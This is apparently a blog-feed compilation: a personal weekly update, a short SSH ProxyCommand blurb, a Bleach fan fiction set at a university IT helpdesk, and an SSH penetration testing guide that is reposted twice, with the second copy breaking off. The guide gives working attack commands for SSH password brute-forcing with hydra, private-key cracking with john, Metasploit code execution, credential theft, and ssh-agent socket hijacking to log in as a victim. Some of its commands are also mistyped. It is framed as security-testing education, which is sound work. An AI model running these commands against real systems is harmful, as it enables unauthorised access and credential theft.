I don't really enjoy Travis' DM'ing style. It's very loose and he has a tendency to let players run wild without much structure which is a tricky thing to handle. He does a lot of worldbuilding and character design but doesn't seem to plan much in the way of arcs. That pays off sometimes (returning to the school to realize they broke a promise they made a few sessions earlier and had to deal with consequences, for example) and when it does, it’s really good, but it's finnicky. I know DM's who can do that, but, well, actually I know One Single DM who can do that well and she's absurdly smart.

Reading: Still on Worm, I just got past chapter 8 or so now. It lives in my phone browser so I've mostly been reading it whenever I get some spare time, which is a good sign. If a book doesn't grab me I need to really settle down in a quiet space to avoid getting distracted, but I can read Worm while someone else is on the phone in the same room.

It is a story with a lot of very well-conveyed feelings and events. It's very easy to imagine yourself in it. Characters actually act like they care about what they're doing, I feel like writing this took a lot of care to keep everyone on model.

There's also a certain care given to the superpowers that you'd usually only see in forum posts arguing about an actual superhero story. Everyone always likes to argue about how far you can push a superpower: can you use teleporting to fly? What prevents a speedster from catching fire in the air? Where does the energy for a  pyrokinetic ability come from? Worm takes these and runs with them as a way to make absolutely any fight become a series of gambits relying on whether a power can or cannot be used to perform some high-stakes trick.

The world certainly has some underpinning contrivances to explain why no one gets killed very often but I've always considered nitpicking the base contrivances of a setting silly, because that's precisely what they are: contrived, in order to allow the rest of the story to flow from there. Like arguing about Omega’s abilities in the famous thought experi-*I am dragged off stage by the ratblr police for making a by now extremely stale joke*

Watching: I came and edited this section in like an hour before this posts because I keep on forgetting to put it in. I don���t really like watching TV and with my parents stuck at home in Pandemic Times it’s how they pass the time.

I did finish S3 of the Good Place. It’s very funny. I’m glad I’m watching it and I’m going to have to go find S4 because ZA Netflix doesn’t have it for whatever reason. It feels a little like it was written by Phillip Pullman if Phillip Pullman was a comedy TV writer.

I also really enjoyed the PBS Spacetime video about how time causes gravity. Love when an explanation of concepts is good enough that you drawn the conclusion on your own.

Playing: Visual Novel Hell plus Minecraft.

I spent approximately seven hours in Minecraft over two days. I tend to hop in and out of games for 1-2 hours at a time but there's a handful that can suck me in for an entire day. Minecraft, Warframe, Horizon Zero Dawn, Night in the Woods. Bastion, to a lesser extent. I end up avoiding them because I don't like loosing entire days, but I wasn't really planning on doing anything this weekend anyways.

Minecraft was mostly a long-ass trek to find a saddle, because as previously mentioned, I enjoy playing it with Large Biomes for the sense of scale.

I also completed Act 3 of Psycholonials and Eliza.

Psycholonials is odd. It is doing the thing that Hussie does where it dances around what's ostensibly the story to carry out the actual story. You get used to the trope after your first encounter but it still makes you wonder when the other shoe will drop, and of course, there's no reason it ever has to. The story may remain in suspended animation behind the every growing mess of narrative red tape tying the B-plot together.

Stories about Social Media have no well established norms. I think I might pick up Feed by M. T. Anderson and also perhaps Hank Green's books sometime. See what context they set that in.

Eliza is frustrating to me. It's a game for programmers, by programmers, about programmers. I'm friends with a lot of Capital P Programmers, the types who go to university and get sniped for developer positions at Seattle or Silicon Valley tech companies and who make great and terrible things and then warn you about the deep problems that underpin the slowly rolling ball of venture capital and bloated technology that is the tech industry. But at the same time, it makes me feel like I've burnt out on that conceptually before I even went in. It’s a whole other world that I’m familiar with but very distant from. In fact, that’s kinda how I feel about Psycholonials too. I’m familiar with the social media rat race but I also don’t go there. Parallels!

My cousins (who are halfway to Capital P Programmers, only so much you can do halfway around the world from silicon valley) warned me not to go into CS, because it would bore me, and that's a non-trivial part of why I'm in Engineering. They gave the same advice about Biology and Physics, without that I may have ended up in Microbiology. it’s not my domain, but because of how Engineering is going, you end up a lot closer to programmers than you think. I found out the other day that most of the software developers on my team have no formal tertiary qualifications, which is accepted in CS but of course, right out when it comes to engineering. It’s a whole other world that I kinda expected to skip around. I might go into this another time, since this post is already getting long.

Making: I haven’t done any engineering scicomm posts on here in a while so I started a few blank drafts and finally got one off the ground. With some luck I’ll have that ready this week. What’s it about? Not saying! It might change!

I’ve been doing layout for a custom keyboard, I need to call a laser cutting place and find out what their kerf requirements are so I can adjust the path accordingly. Wouldn’t do to burn a couple hundred rand on an oversized part, I’m paying for this, not my employer like the other times I’ve done laser cutting, so I’m probably not going to spring for getting one of their designers to check my design. At some point I should CAD up a chassis, but at the same time I might just buy some wood and go ham with a router once I get the plates cut.

Computers Slot: I got WeeChat set up properly on my desktop, which technically was just a matter of getting my SSH keys moved over. It’s taking me forever to move in to Cinnabar, in part because Stibnite lost her boot partition and I haven’t bothered to fix it.

So here’s a pitch for WeeChat as a good quality Terminal UI IRC Client. Many of my closest friends live there and it has a good set of tools to help me keep in touch.

WeeChat is very configurable but with perfectly sane defaults, I didn’t configure it for years. The UI is smarter and less arcane than something like irssi, and if you enable mouse support it can be downright modern. Running it remotely like this limits some features but as long as you don’t mind jumping through a few hoops to do filesharing, IRC is really great like this.

One of the big ones is the ability to do that double-pane thing, I can keep an eye on two channels at once (really as many as I can cram on my screen, but usually two) which is great when you want to browse channels while talking in your home channel.

It also has a good array of remote access tools, from what I’m running up there, just weechat running on my server inside tmux connected over mosh for low-latency SSH, to weechat-relay, a relay protocol built in to weechat. At the moment relay only supports android phones and the glowingbear web client, but I’ve never really looked around since both of those cover all my needs. Easily one of the best ways to get IRC on a modern mobile device, barring maybe IRCCloud.

[nixcraft]

You can jump host using ProxyCommand. Some times you can only access a remote server via ssh by first login into an intermediary server (or firewall/jump host). So you first login into to the intermediary server and then ssh to another server. You need to authenticate twice and the chain can be long and is not limited to just two hosts. This page provide SSH ProxyCommand examples for new Linux and Unix developers or sysadmins.

-> SSH ProxyCommand example: Going through one host to reach another server

[recurring-polynya]

for the drabble request event: Shunsui/Nanao, "there’s an overnight IT person at school who always answers the phone when i call about a problem with my computer and i totally have a crush on their voice and their exasperation and ALSO the bakery down the street is always running out of my fave scones and the adorable person behind the counter can’t hide their amusement and i think it’s super rude but also super cute AU" (from a prompt list)

So, normally, I am not a fan of Nanao/Shunsui, but I forgot to put it on my list of no-go ships, and as... convoluted as this scenario is, I actually had kind of a way to make it work. I checked with the asker first, and they said it was okay to put Juushirou in it, too. I feel like the point of the prompt list this was from was to have two possible ships in any case, otherwise I don’t understand at all how it would work. Anyway, I tried to make it shippy-but-only-if-you-squint on both sides, I hope it’s okay. I really just wanted to write about IT and scone flavors anyway.

Oh, also, I have no respect for Shunsui, so sorry for that, but at least I had fun.

Read on ao3 or ff.net 

💻     ☕     🧁

Professor Kyouraku Shunsui of the Seireitei University Mathematics Department was very pleased with himself. He had timed his arrival at his favorite campus coffee shop for ten minutes before the end of a class period, exactly at the time when the students would be departing for their 10 o’clocks, but the 9 o’clocks had not yet finished. He had been able to score his favorite table, the one next to the front window, so he could watch the foot traffic. He’d laid out his workspace perfectly: laptop front and center; a fresh, fragrant Americano just off to the right, and his little notebook of handwritten instructions to his left. With everything laid out so nicely, he was sure to be very productive. He just needed to remake a few plots for that journal paper. It was only a week overdue at this point, but those editors got so antsy when you just went a smidge over a deadline.

Humming to himself, he ran his finger down the list of procedures as he completed each one. “Amazing!” he exclaimed when a black window popped up on his screen, his own username displayed and a little white cursor cheerfully blinking beside it. “Look at me, a computer genius! I should call my good friend Nanao. I’m sure she would love to hear how well I was able to follow her instructions.”

Shunshui wiggled his fingers, gleefully typed “matlab &” after the prompt, and hit “enter” with a flourish.

Nothing happened.

Shunsui tried again.

Once again, nothing happened.

“Well, that’s a shame,” he frowned, and picked up his phone.

He selected the main campus IT helpline from his contacts, then entered the extension for the math department special helpline, and then he typed in the super-secret extension for the math department special helpline manager.

It rang 9 times. Finally, a clipped voice answered. “Math Department IT Helpline, may I have your name, please?”

“Hellooooooo, Nanaoooooo! It’s meeeeeeee!”

“Your name, please.”

“I’m so hurt, Nanao. It’s your good friend, Shunsui, of course!”

There was a loud clacking of keys from the other end of the line. “And how may I assist you today, Professor Kyouraku?”

“Would you believe it, Nanao, but Matlab won’t open again?”

There was a long silence on the other end, and finally, a dragged out sigh. “What step are you on?”

“I made it all the way to the end of the steps. I even typed in the little ampersand, but nothing! I am all ready to make these figures, and Matlab just doesn’t want to get out of bed, you know?”

“So, you successfully used PuTTY to open a Bash terminal?”

“That’s right, I am very skilled at computers, you know.”

“If you say so. Close it.”

“Close it? But I just got it open!”

“Close it.”

Shunsui sighed. “Goodbye, little friend,” he lamented, hitting the ‘x’. “It is gone.”

“Okay, open PuTTY again. Are you using the saved session I helped you set up last time?”

“Doot doot doot,” Shunsui sang as he double clicked on the PuTTY icon. “There it is! Yes, I am using my saved session, the Shunsui-at-Work one.”

“Great. Select that session and hit ‘load.’”

“I did it.”

“Perfect. Now, over on the menus on the left, expand ‘SSH’ and pick ‘X11’.”

“Ahh, Nanao, what a brilliant person you are to remember all these things!”

“I do this all day, Professor Kyouraku.”

“And you’re so polite, too! You know you can call me Shunsui, though. Yes, here I am, at ‘X11’.”

“There’s a little box that says ‘Enable X11 forwarding, you need to check that.”

“It’s already checked.”

There was a pause. “It is?”

“Yes, there’s a little ‘X’ in it.”

“Oh.”

“We set that up before, I think.”

“I never know with you. Okay, let’s brainstorm. You aren’t part of the cloud computing pilot, are you?”

“I am, actually!”

There was a low muttering, followed by Nanao clearing her throat. “You aren’t trying to launch Matlab from the sentinel node, are you? You use PuTTY to connect to the sentinel, but then you have to manually SSH to your cloud server from there, do you remember?”

“Oh, Nanao, I don’t know what any of those words mean. I am not actually trying to get on the cloud right now, I am just trying to use the department server, does that help?

“Oh, thank God,” Nanao’s beautiful voice muttered.

“I didn’t even know I could use the cloud servers if I wasn’t in my office,” Shunsui mused.

“You can, you just have a different IP you need to-- wait, you’re not in your office?”

“I am in the little coffee shop on the north end of campus. They have the most delightfully lemon ricotta scones--”

“I have been there, the scones are great. Are you connected to the VPN?”

“We should meet here sometime! I love to come here, it’s so relaxing and both the tea and coffee are always so fresh. Do you like matcha?”

“I hate matcha. Are you connected to the VPN?”

“I hate matcha, too! How funny! I just heard from one of my colleagues that they do a really good matcha latte here and I thought--”

“The VPN, man, are you connected to it?”

“Ahhhh.... no. Do I need to be? I thought that was only when I was at home. I’m still on campus.”

“You’re still on campus, but if you’re not in your office, you’re not on the department LAN and you need to connect through the VPN.”

“Ohhhhhhh.”

“Do you know how to connect to the VPN?”

“Ah, I should, I do this when I am working from home. Let’s see, it’s over here on the bottom right…”

“Yes, exactly.”

“Right click… select Cisco…” Shunsui picked up his coffee. “I think my coffee is just about the perfect temperature right now.” He took a sip. It was delicious. “I probably should have had my coffee before I called you, eh?”

There was a muffled thud on the other end of the line.

“Nanao, did you fall? Are you all right? I can come over and help you if you need.”

“It’s fine. Someone, uh, dropped something.”

“The VPN is connected.”

“Fantastic. Just… just go through the steps you did before to get to the Bash terminal. Can you do that? I will just sit here and drink my own coffee.”

“You have your own coffee? Oh, that’s delightful! We’re coffee friends!”

“Just try to start Matlab again, please.”

“Everything just takes so long to connect, you know, once you’re on the VPN. This coffee shop should have better wifi, in my opinion.”

“Mm-hmm.”

“Any plans for the weekend?”

“Probably helping you open Matlab again.”

“Ha, ha, oh, Nanao, you’re such a kidder! You know I don’t work on the weekend. I bet you have many exciting hobbies, like going to the theater… or writing poetry…”

There was a long pause. “I’m actually really into historic costume recreation, and a friend and I are going to a millinery workshop.”

“Ah, I knew you were artistic as well as brilliant,” Shunsui sighed, carefully typing in his password once again. “Here we go, Nanao, do you have your fingers crossed for me?”

“I have all my fingers crossed for you.”

“I am typing in ‘matlab ampersand’ again, that should do it, right?”

“Look, the ampersand has nothing to do with the graphical display, it just runs the program as a background process so you can still type things into your terminal.”

“Amazing how you can remember so much! I am hitting ‘enter’ and-- and--”

“What’s happening?!”

“Ah, that beautiful orange saddle surface is here to greet me, once again,” Shunsui sighed as the Matlab logo filled the screen. “You have saved me once again, Nanao. You must allow me to buy you dinner sometime, or at least a coffee.”

“You can tell your department head how much you use the helpdesk, and that I deserve a raise and three more work-study students.”

“I will certainly do that. Have a tremendous day, Nanao!”

“You, too, Professor Kyouraku.”

Shunsui stretched and interlaced his fingers behind his head. All that hard work was exhausting. He’d been so ready to get started, and now his rhythm was off. There was no way he could jump directly into those plots. He stood up and meandered over to the counter.

The cute barista was on duty today. His pale hair was tied up in a casual bun, and the sleeves of his sweater pushed up over his forearms. “Good morning, Professor,” he said with a sunny grin. “Working hard or hardly working?”

“Oh, causing trouble for our IT department, once again,” Shunsui sighed.

“The one you have a crush on? Did you ask for her number?”

“I have her number, I call it every day when I cannot figure out how to use my computer. She has no interest in an old fellow like myself. She is far too good for me, Juushirou! But speaking of things that are too good for me, please tell me that you have one of my favorite scones for me today?”

“Hmm, we just had a big rush at breakfast time,” Juushirou frowned. “I’ll have to go check. Oh, we have a new flavor today!” He leaned forward over the counter and waggled his eyebrows. “Strawberry basil?”

“I am sure they are a delight, but I have had a very harrowing morning, and I need the comfort of the familiar.”

“I understand!” Juushirou shook a finger sternly. “Shunsui’s favorite flavor… Shunsui’s favorite flavor… it’s not orange ginger, he finds those too zingy.... maple bacon, too trendy… the less we say about the matcha scones the better… oh dear, oh dear, it appears the lemon ricotta basket is empty.”

Shunsui flung his arm over his eyes. “I knew I should have ordered one with my coffee! I have been trying to cut calories, but today has been so trying…”

“I’ve got Morning Glory muffins? Or egg white breakfast cups?”

Shunsui made a face. “Thank you, but I think I would rather just go without.”

Juushirou gave off his hearty laugh. “I’ve never seen anyone make such a sad face over scones.” He furrowed his brows. “Those lemon ricotta scones are very popular, you know. We run out of them almost every day.”

“I am a man of discerning taste, Juushirou, who is frequently disappointed.”

“You know what you need?” Juushirou suggested perkily. “A savory scone. Completely different flavor profile. It’ll take your mind right off the lemon. We have cheddar chive? Pancetta sage?”

“Juushirou,” said Shunsui. “I will take a white chocolate blackberry scone.”

“Wonderful choice!” Juushirou agreed, and then leaned forward conspiratorially. “Those are my favorites.”

“I know,” Shunsui replied.

[offensivewireless]

SSH Penetration Testing: A Comprehensive Guide

Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article

[poplabsec]

SSH Penetration Testing: A Comprehensive Guide

Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the 